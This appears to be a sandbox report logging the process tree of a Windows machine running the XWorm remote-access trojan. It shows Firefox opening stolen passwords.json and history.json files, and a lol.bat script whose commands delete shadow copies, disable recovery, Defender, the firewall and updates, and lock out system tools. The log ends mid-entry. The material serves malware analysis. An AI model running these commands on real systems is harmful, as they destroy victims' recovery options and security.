"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Desktop\XWorm V5.1\ClientsFolder\9A78ACA14CB1BEF2667A\Recovery\RecoveryData\history.json"
1⤵
PID:6772
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Desktop\XWorm V5.1\ClientsFolder\9A78ACA14CB1BEF2667A\Recovery\RecoveryData\history.json"
  2⤵
  - Checks processor information in registry
  - Suspicious use of SetWindowsHookEx
  PID:7136
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1964 -parentBuildID 20240401114208 -prefsHandle 1892 -prefMapHandle 1884 -prefsLen 27202 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e386b0f6-844e-4308-b84d-f489ebb82aba} 7136 "\\.\pipe\gecko-crash-server-pipe.7136" gpu
    3⤵
    PID:3156
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2392 -parentBuildID 20240401114208 -prefsHandle 2368 -prefMapHandle 2364 -prefsLen 28122 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d8e3597-7fb3-4140-a034-7c87495e427f} 7136 "\\.\pipe\gecko-crash-server-pipe.7136" socket
    3⤵
    - Checks processor information in registry
    PID:6648
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2652 -childID 1 -isForBrowser -prefsHandle 3088 -prefMapHandle 3024 -prefsLen 28263 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {857e35a5-c546-4677-9bf7-b1509b7f10c9} 7136 "\\.\pipe\gecko-crash-server-pipe.7136" tab
    3⤵
    PID:6472
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3576 -childID 2 -isForBrowser -prefsHandle 3568 -prefMapHandle 3536 -prefsLen 32612 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e3e9b70b-0454-4aef-a50a-39f76587bb75} 7136 "\\.\pipe\gecko-crash-server-pipe.7136" tab
    3⤵
    PID:6820
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4240 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4224 -prefMapHandle 4172 -prefsLen 32612 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9fe830d0-2b3d-420e-87ad-3f5759a290d8} 7136 "\\.\pipe\gecko-crash-server-pipe.7136" utility
    3⤵
    - Checks processor information in registry
    PID:1812
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5272 -childID 3 -isForBrowser -prefsHandle 5252 -prefMapHandle 5228 -prefsLen 27092 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2d4b48c0-5609-4486-aecb-8a59cc42d48a} 7136 "\\.\pipe\gecko-crash-server-pipe.7136" tab
    3⤵
    PID:4892
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5380 -childID 4 -isForBrowser -prefsHandle 5388 -prefMapHandle 5392 -prefsLen 27092 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2b799bb-6647-47fc-b6b7-9fecc5ce72c2} 7136 "\\.\pipe\gecko-crash-server-pipe.7136" tab
    3⤵
    PID:6076
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5596 -childID 5 -isForBrowser -prefsHandle 5672 -prefMapHandle 5668 -prefsLen 27092 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34c19a29-2081-41cd-ad19-563b9353ecb9} 7136 "\\.\pipe\gecko-crash-server-pipe.7136" tab
    3⤵
    PID:5024

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Desktop\XWorm V5.1\ClientsFolder\9A78ACA14CB1BEF2667A\Recovery\RecoveryData\passwords.json"
1⤵
PID:6352
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Desktop\XWorm V5.1\ClientsFolder\9A78ACA14CB1BEF2667A\Recovery\RecoveryData\passwords.json"
  2⤵
  - Checks processor information in registry
  - Suspicious use of SetWindowsHookEx
  PID:7068
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2012 -parentBuildID 20240401114208 -prefsHandle 1940 -prefMapHandle 1932 -prefsLen 27202 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cc0535a5-0be4-403d-b6fa-f6a3991b987c} 7068 "\\.\pipe\gecko-crash-server-pipe.7068" gpu
    3⤵
    PID:6020
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2412 -parentBuildID 20240401114208 -prefsHandle 2388 -prefMapHandle 2376 -prefsLen 28122 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {153f35f9-b616-4c94-b068-108bb3a6348c} 7068 "\\.\pipe\gecko-crash-server-pipe.7068" socket
    3⤵
    - Checks processor information in registry
    PID:5924
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3376 -childID 1 -isForBrowser -prefsHandle 3392 -prefMapHandle 3388 -prefsLen 28263 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a1a0ba54-9fd5-4c21-ad6a-0624f2be4cba} 7068 "\\.\pipe\gecko-crash-server-pipe.7068" tab
    3⤵
    PID:6976
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2892 -childID 2 -isForBrowser -prefsHandle 3700 -prefMapHandle 3432 -prefsLen 32612 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c0dcd3cb-f6e3-407f-a5a4-660b31839e6e} 7068 "\\.\pipe\gecko-crash-server-pipe.7068" tab
    3⤵
    PID:648
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4444 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4368 -prefMapHandle 4424 -prefsLen 32612 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ad2aa5e8-d097-40fc-a31d-76b55010f209} 7068 "\\.\pipe\gecko-crash-server-pipe.7068" utility
    3⤵
    - Checks processor information in registry
    PID:7136
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5164 -childID 3 -isForBrowser -prefsHandle 5184 -prefMapHandle 5112 -prefsLen 27092 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f2a8d97b-3d6f-4bfc-9121-c19dd8388472} 7068 "\\.\pipe\gecko-crash-server-pipe.7068" tab
    3⤵
    PID:6692
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5328 -childID 4 -isForBrowser -prefsHandle 5404 -prefMapHandle 5400 -prefsLen 27092 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {91fb5600-1f33-429b-a4f6-959beae9ae2b} 7068 "\\.\pipe\gecko-crash-server-pipe.7068" tab
    3⤵
    PID:6308
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5556 -childID 5 -isForBrowser -prefsHandle 5300 -prefMapHandle 5304 -prefsLen 27092 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0bfcbb26-27ec-4371-bd7b-41495858945a} 7068 "\\.\pipe\gecko-crash-server-pipe.7068" tab
    3⤵
    PID:6744

C:\Windows\System32\CredentialUIBroker.exe
"C:\Windows\System32\CredentialUIBroker.exe" NonAppContainerFailedMip -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:2084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=4428,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:14
1⤵
PID:5728

C:\Users\Admin\Desktop\XClient4.exe
"C:\Users\Admin\Desktop\XClient4.exe"
1⤵
- Executes dropped EXE
PID:556

C:\Users\Admin\Desktop\XClient4.exe
"C:\Users\Admin\Desktop\XClient4.exe"
1⤵
- Executes dropped EXE
PID:5864

C:\Users\Admin\Desktop\XClient3.exe
"C:\Users\Admin\Desktop\XClient3.exe"
1⤵
- Executes dropped EXE
PID:5284

C:\Users\Admin\Desktop\XClient4.exe
"C:\Users\Admin\Desktop\XClient4.exe"
1⤵
- Executes dropped EXE
PID:6996

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=4112,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:14
1⤵
PID:6732

C:\Users\Admin\Desktop\portmap.exe
"C:\Users\Admin\Desktop\portmap.exe"
1⤵
- Executes dropped EXE
PID:7092

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
PID:4312

C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe
"C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2104.12721.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications
1⤵
PID:6756

C:\Users\Admin\Desktop\XClient3.exe
"C:\Users\Admin\Desktop\XClient3.exe"
1⤵
- Executes dropped EXE
PID:6220

C:\Program Files\playit_gg\bin\playit.exe
"C:\Program Files\playit_gg\bin\playit.exe"
1⤵
- Executes dropped EXE
PID:5840

C:\Users\Admin\Desktop\XClient3.exe
"C:\Users\Admin\Desktop\XClient3.exe"
1⤵
- Executes dropped EXE
PID:5272

C:\Users\Admin\Desktop\XClient4.exe
"C:\Users\Admin\Desktop\XClient4.exe"
1⤵
- Executes dropped EXE
PID:6108

C:\Users\Admin\Desktop\portmap.exe
"C:\Users\Admin\Desktop\portmap.exe"
1⤵
- Executes dropped EXE
PID:6284

C:\Users\Admin\Desktop\XClient.exe
"C:\Users\Admin\Desktop\XClient.exe"
1⤵
- Executes dropped EXE
PID:2816

C:\Users\Admin\Desktop\XClient2.exe
"C:\Users\Admin\Desktop\XClient2.exe"
1⤵
- Executes dropped EXE
PID:1384

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1940,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=4060 /prefetch:14
1⤵
PID:1344

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004A8 0x00000000000004B8
1⤵
PID:4668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=3876,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=4008 /prefetch:14
1⤵
PID:1432

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:2336
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe6023cc40,0x7ffe6023cc4c,0x7ffe6023cc58
  2⤵
  PID:3524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1836,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=1832 /prefetch:2
  2⤵
  PID:1528
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2084,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=2144 /prefetch:3
  2⤵
  PID:5836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2212,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=2224 /prefetch:8
  2⤵
  PID:3376
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3124,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:2524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3260,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=3300 /prefetch:1
  2⤵
  PID:5504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3584,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=4512 /prefetch:1
  2⤵
  PID:6280
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4728,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=4744 /prefetch:8
  2⤵
  PID:444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4708,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=4840 /prefetch:8
  2⤵
  PID:6400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4832,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=4996 /prefetch:8
  2⤵
  PID:5944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4920,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=4848 /prefetch:8
  2⤵
  PID:6768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5000,i,17393921940394298519,18025797334469273134,262144 --variations-seed-version=20250221-144540.991000 --mojo-platform-channel-handle=5228 /prefetch:1
  2⤵
  PID:6140

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1672

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\lol.txt.docx" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3616

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\lol.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:5200

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\lol.bat" "
1⤵
PID:2328
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  PID:7060
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v EnableScripts /t REG_DWORD /d 0 /f
  2⤵
  PID:6596
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:444
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1344
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:648
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3244
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:7156
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6184
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2824
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:7032
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5692
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in Windows directory
  PID:5704
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableWinRE /t REG_DWORD /d 1 /f
  2⤵
  PID:484
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6924
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3328
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2928
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5216
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5684
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:1916
- C:\Windows\system32\sc.exe
  sc config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:588
- C:\Windows\system32\sc.exe
  sc stop vss
  2⤵
  - Launches sc.exe
  PID:3876
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6548
- C:\Windows\system32\diskpart.exe
  diskpart /s "C:\Users\Admin\Desktop\delete_recovery.txt"
  2⤵
  PID:3276
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableWinRE /t REG_DWORD /d 1 /f
  2⤵
  PID:3856
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
  2⤵
  - Modifies security service
  PID:3012
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
  2⤵
  PID:6288
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:6308
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:6744
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskScheduler /t REG_DWORD /d 1 /f
  2⤵
  PID:6336
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6004
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6568
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\WindowsFirewall\DomainProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  PID:2284
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\WindowsFirewall\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  PID:1464
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:1504
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPageVisibility /t REG_SZ /d "hide:" /f
  2⤵
  PID:6328
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
  2⤵
  PID:6084
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4336
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f
  2⤵
  - Blocks application from running via registry modification
  PID:2488
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v DisableMSI /t REG_DWORD /d 1 /f
  2⤵
  PID:7128
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\WindowsStore" /v RemoveWindowsStore /t REG_DWORD /d 1 /f
  2⤵
  PID:6552
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
  2⤵
  PID:5712
- C:\Windows\system32\net.exe
  net localgroup Administrators "Standard User" /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  PID:5796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators "Standard User" /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    PID:7036
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:2948
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
  2⤵
  PID:5060
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableGPEdit /t REG_DWORD /d 1 /f
  2⤵
  PID:1992
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:5192
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  PID:940
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:6200
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:1484
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6396
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:5028
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {globalsettings} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6980
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisablePasswordReset /t REG_DWORD /d 1 /f
  2⤵
  PID:6292
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\MRT" /v DontOfferThroughWUAU /t REG_DWORD /d 1 /f
  2⤵
  PID:7120
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
  2⤵
  PID:3128
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSFCDisable /t REG_DWORD /d 1 /f
  2⤵
  PID:5112
- C:\Windows\system32\reg.exe
